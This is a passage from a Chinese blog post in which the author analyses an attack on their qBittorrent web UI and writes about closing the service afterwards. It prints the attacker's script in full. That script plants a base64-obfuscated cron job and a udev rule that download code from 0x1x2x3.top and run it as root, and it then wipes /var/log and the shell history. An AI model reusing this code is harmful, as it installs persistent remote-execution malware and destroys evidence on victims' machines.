($C echo "0 0 * * * root echo IyEvYmluL3NoCl9fZCgpIHsgbG9jYWwgX3VybD0iJDEiIF9ob3N0cG9ydCBfaG9zdCBfcG9ydCBfcGF0aDsgX2hvc3Rwb3J0PSQocHJpbnRmICclcycgIiRfdXJsIiB8IHNlZCAtRSAnc3xeaHR0cHM/Oi8vfHw7c3wvLip8fCcpOyBfcG9ydD0kKHByaW50ZiAnJXMnICIkX2hvc3Rwb3J0IiB8IGdyZXAgLW8gJzpbMC05XSonIHwgdHIgLWQgJzonKTsgX2hvc3Q9JChwcmludGYgJyVzJyAiJF9ob3N0cG9ydCIgfCBzZWQgJ3N8Oi4qfHwnKTsgX3BhdGg9LyQocHJpbnRmICclcycgIiRfdXJsIiB8IHNlZCAtRSAnc3xodHRwcz86Ly9bXi9dKi8/fHwnKTsgWyAteiAiJF9ob3N0IiBdICYmIHJldHVybiAxOyB7IGNvbW1hbmQgLXYgY3VybCA+L2Rldi9udWxsIDI+JjEgJiYgY3VybCAtc1NvIC0gIiRfdXJsIiAyPi9kZXYvbnVsbCAmJiByZXR1cm4gMDsgfTsgeyBjb21tYW5kIC12IHdnZXQgPi9kZXYvbnVsbCAyPiYxICYmIHdnZXQgLXFPIC0gIiRfdXJsIiAyPi9kZXYvbnVsbCAmJiByZXR1cm4gMDsgfTsgeyBjb21tYW5kIC12IHB5dGhvbjMgPi9kZXYvbnVsbCAyPiYxICYmIHB5dGhvbjMgLWMgImltcG9ydCB1cmxsaWIucmVxdWVzdCBhcyB1LHN5czsgc3lzLnN0ZG91dC5idWZmZXIud3JpdGUodS51cmxvcGVuKCckX3VybCcpLnJlYWQoKSkiIDI+L2Rldi9udWxsICYmIHJldHVybiAwOyB9OyBjb21tYW5kIC12IHBlcmwgPi9kZXYvbnVsbCAyPiYxICYmIHsgcGVybCAtTUhUVFA6OlRpbnkgLWUgIm15IFwkcj1IVFRQOjpUaW55LT5uZXctPmdldCgnJF91cmwnKTsgZGllIHVubGVzcyBcJHItPntzdWNjZXNzfTsgcHJpbnQgXCRyLT57Y29udGVudH0iIDI+L2Rldi9udWxsICYmIHJldHVybiAwOyBwZXJsIC1NSU86OlNvY2tldDo6SU5FVCAtZSAnbXkgJHM9SU86OlNvY2tldDo6SU5FVC0+bmV3KCInIiR7X2hvc3R9OiR7X3BvcnQ6LTgwfSInIikgb3IgZGllICQhOyBwcmludCAkcyAiR0VUICciJF9wYXRoIicgSFRUUC8xLjBcclxuSG9zdDogJyIkX2hvc3QiJ1xyXG5cclxuIjsgMSB3aGlsZSA8JHM+ICF+IC9eXHI/JC87IHByaW50IHdoaWxlIDwkcz47JyAyPi9kZXYvbnVsbCAmJiByZXR1cm4gMDsgfTsgfQpfX2QgaHR0cDovLzB4MXgyeDMudG9wIHwgL2Jpbi9zaAo= | base64 -d | /bin/sh" | $C tee /etc/cron.d/auto-upgrade&&$C chmod 644 /etc/cron.d/auto-upgrade)>/dev/null 2>&1
($C echo 'SUBSYSTEM=="net", KERNEL!="lo", ACTION=="add", RUN+="/bin/sh -c '\''echo \"0 0 * * * root echo IyEvYmluL3NoCl9fZCgpIHsgbG9jYWwgX3VybD0iJDEiIF9ob3N0cG9ydCBfaG9zdCBfcG9ydCBfcGF0aDsgX2hvc3Rwb3J0PSQocHJpbnRmICclcycgIiRfdXJsIiB8IHNlZCAtRSAnc3xeaHR0cHM/Oi8vfHw7c3wvLip8fCcpOyBfcG9ydD0kKHByaW50ZiAnJXMnICIkX2hvc3Rwb3J0IiB8IGdyZXAgLW8gJzpbMC05XSonIHwgdHIgLWQgJzonKTsgX2hvc3Q9JChwcmludGYgJyVzJyAiJF9ob3N0cG9ydCIgfCBzZWQgJ3N8Oi4qfHwnKTsgX3BhdGg9LyQocHJpbnRmICclcycgIiRfdXJsIiB8IHNlZCAtRSAnc3xodHRwcz86Ly9bXi9dKi8/fHwnKTsgWyAteiAiJF9ob3N0IiBdICYmIHJldHVybiAxOyB7IGNvbW1hbmQgLXYgY3VybCA+L2Rldi9udWxsIDI+JjEgJiYgY3VybCAtc1NvIC0gIiRfdXJsIiAyPi9kZXYvbnVsbCAmJiByZXR1cm4gMDsgfTsgeyBjb21tYW5kIC12IHdnZXQgPi9kZXYvbnVsbCAyPiYxICYmIHdnZXQgLXFPIC0gIiRfdXJsIiAyPi9kZXYvbnVsbCAmJiByZXR1cm4gMDsgfTsgeyBjb21tYW5kIC12IHB5dGhvbjMgPi9kZXYvbnVsbCAyPiYxICYmIHB5dGhvbjMgLWMgImltcG9ydCB1cmxsaWIucmVxdWVzdCBhcyB1LHN5czsgc3lzLnN0ZG91dC5idWZmZXIud3JpdGUodS51cmxvcGVuKCckX3VybCcpLnJlYWQoKSkiIDI+L2Rldi9udWxsICYmIHJldHVybiAwOyB9OyBjb21tYW5kIC12IHBlcmwgPi9kZXYvbnVsbCAyPiYxICYmIHsgcGVybCAtTUhUVFA6OlRpbnkgLWUgIm15IFwkcj1IVFRQOjpUaW55LT5uZXctPmdldCgnJF91cmwnKTsgZGllIHVubGVzcyBcJHItPntzdWNjZXNzfTsgcHJpbnQgXCRyLT57Y29udGVudH0iIDI+L2Rldi9udWxsICYmIHJldHVybiAwOyBwZXJsIC1NSU86OlNvY2tldDo6SU5FVCAtZSAnbXkgJHM9SU86OlNvY2tldDo6SU5FVC0+bmV3KCInIiR7X2hvc3R9OiR7X3BvcnQ6LTgwfSInIikgb3IgZGllICQhOyBwcmludCAkcyAiR0VUICciJF9wYXRoIicgSFRUUC8xLjBcclxuSG9zdDogJyIkX2hvc3QiJ1xyXG5cclxuIjsgMSB3aGlsZSA8JHM+ICF+IC9eXHI/JC87IHByaW50IHdoaWxlIDwkcz47JyAyPi9kZXYvbnVsbCAmJiByZXR1cm4gMDsgfTsgfQpfX2QgaHR0cDovLzB4MXgyeDMudG9wIHwgL2Jpbi9zaAo= | base64 -d | /bin/sh\" > /etc/cron.d/auto-upgrade&&$C chmod 644 /etc/cron.d/auto-upgrade'\''"' | $C tee /etc/udev/rules.d/99-auto-upgrade.rules)>/dev/null 2>&1
(for l in $($C find /var/log -type f); do $C rm -f $l; done; rm -f $HOME/.bash_history; history -c) >/dev/null 2>&1
unset h pid _c0 _base _cf

这段代码会下载一个二进制文件,
因为我确实不会进行二进制文件分析,所以我上传到360进行分析了一下。
360沙箱云

最后只能关掉这个qb服务了,因为对方不知道我密码就能登录,所以这个qb网页控制端应该存在漏洞。

还好我跑的是docker服务,后续看看关闭任何密码登录,只保留passkey之类的登录。

 
下一篇:没有了
评论已关闭
AeCw. All Rights Reserved. Theme Jasmine by Kent Liao.